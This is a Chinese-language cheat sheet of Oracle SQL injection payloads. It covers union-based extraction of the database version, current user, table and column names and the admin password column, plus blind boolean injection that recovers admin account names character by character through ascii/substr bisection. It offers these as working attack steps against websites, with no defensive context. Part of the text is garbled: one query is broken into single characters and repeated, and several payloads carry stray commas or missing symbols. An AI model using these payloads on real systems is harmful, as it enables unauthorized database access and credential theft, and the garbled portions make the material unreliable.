Oracle第一种注入方式
1.判断oracle数据库: and exists(select * from dual)
and exists(select * from user_tables)
2.判断列数: order by
3.获取数据类型不匹配的列: id=100 union select null,null,null,null, null, null, from dual
在每列上逐个用数字代替null,1,null…from dual, 如果返回正常说明该列为数字类型,反之则为非数字类型。
也可以逐个用引号引起来如:‘null’,null…from dual, 返回正常说明该列为字符类型,反之为非数字类型。
5.获取基本信息: 获取数据库版本
(select banner from sys.v_
v
e
r
s
i
o
n
w
h
e
r
e
r
o
w
n
u
m
=
1
)
获
取
操
作
系
统
版
本
(
s
e
l
e
c
t
m
e
m
b
e
r
f
r
o
m
v
version where rownum=1) 获取操作系统版本 ( select member from v
versionwhererownum=1)获取操作系统版本(selectmemberfromvlogfile where rownum=1)
获取连接数据库的当前用户
( select SYS_CONTEXT (‘USERENV’,‘CURRENT_USER’)from dual)
获取数据库
(select owner from all_tables where rownum=1)
6.获取连接数据库的当前用户:id=100 union select null,( select SYS_CONTEXT (‘USERENV’,‘CURRENT_USER’)from dual),null,null from dual
7.获取第一个表:id=100 union select null,( select table_name from user_tables where rownum=1),null,null from dual
8.获取第二个表:id=100 union select null,( select table_name from user_tables where rownum=1 and table_name<>‘xxxxx’),null,null,null from dual //单引号里的为上一个表名,以此类推就可以得到所有的表名
9.获取第一个列名:<假设我们得到管理员表名为:admin>
id=-100 union select null,(select column_name from user_tab_columns where table_name=‘admin’ and rownum=1),4,5,6 from dual,null,null, from dual //单引号里的为表名
Oracle:
9.获取第二个列名:<假设获取第一个列名为EMPLOYEE_ID>
id=-100 union select null,(select column_name from user_tab_columns where table_name=‘admin’ and rownum=1 and column_name<>‘EMPLOYEE_ID’),4,5,6 from dual,null,null from dual //<>‘EMPLOYEE_ID’ 不等于第一个列
10.获取数据库:union select 1,2,name,4,5,6 from admin
union select 1,2,pass,4,5,6 from admin
Oracle第二种注入方式
1.判断数据库中的表:网址后加上:and (select count() from admin) <>0返回正常,说明存在admin表。如果返回错误,可将admin 改为username、manager等常用表名继续猜解。
2.判断下该网站下有几个管理员:and (select count() from admin)=1,返回正常说明只有一个管理员
3.指定表名获取列名:and (select count(name) from admin)>=0返回正常,说明存在name字段
接下来采用ASCII码折半法猜解管理员帐号和密码:
1.判断管理员名字长度:
and (select count() from admin where length(name)>=5)=1
说明:length()函数用于求字符串的长度,此处猜测用户名的长度和5比较,即猜测是否由5个字符组成
2.判断管理员账号:and (select count() from admin where ascii(substr(name,1,1))>=97)=1
说明:substr()函数用于截取字符串,ascii()函数用于获取字符的ascii码,此处的意思是截取name字段的第一个字符,获取它的ascii码值,查询ascii码表可知97为字符a
判断name字段第二个字符:and (select count(*) from admin where ascii(substr(name,2,1))>=100)=1 结果为100,即字符d,重复上述过程,可以判断出帐号为admin